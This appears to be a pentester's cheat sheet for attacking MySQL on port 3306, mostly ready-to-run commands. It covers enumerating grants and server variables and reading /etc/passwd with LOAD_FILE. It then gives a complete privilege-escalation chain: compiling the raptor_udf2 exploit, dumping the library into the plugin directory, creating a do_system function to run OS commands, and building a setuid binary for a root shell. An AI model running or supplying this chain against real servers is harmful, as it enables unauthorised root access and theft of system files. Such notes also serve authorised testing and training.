TCP 3306: MySQL

MySQL is an open-source relational database management system. Its name is a combination of "My", the name of co-founder Michael Widenius's daughter, and "SQL", the abbreviation for Structured Query Language.

-- Wikipedia

Connection

sudo mysql -u <user>
use <db>;
select * from mysql_func;

Remote

mysql -u <user> -p <password> -h <ip> -P <port>

Enumeration

Check permissions

show Grants;

Show "env"

select @@hostname, @@tmpdir, @@version, @@version_compile_machine, @@plugin_dir;

Misc

Read file from file system

select LOAD_FILE("/etc/passwd");

User defined functions (UDF)

Run C code and allows basically everything (system calls, etc.)

• Get root shell access using mysql with user defined functions and setuid
• https://0xdeadbeef.info/exploits/raptor_udf2.c

Compile exploit

gcc -g -c raptor_udf2.c -m32
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc -m32

Create function in MySQL

1. Access the database service and select the database to use.

mysql -u root
use mysql;

1. Copy/create the raptor_udf2.so in the directory specified in the plugin_dir variable.

create table foo(line blob);
insert into foo values(load_file('/tmp/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/raptor_udf2.so';

1. Create the User Defined Function.

create function do_system returns integer soname 'raptor_udf2.so';
select * from mysql.func;

1. Test that the UDF works correctly.

select do_system('id > /tmp/out; chown centos.centos /tmp/out');

Get root shell (using setuid)

select do_system('gcc -o /tmp/setuid /tmp/setuid.c');
select do_system('chmod u+s /tmp/setuid');
\! sh
/tmp/setuid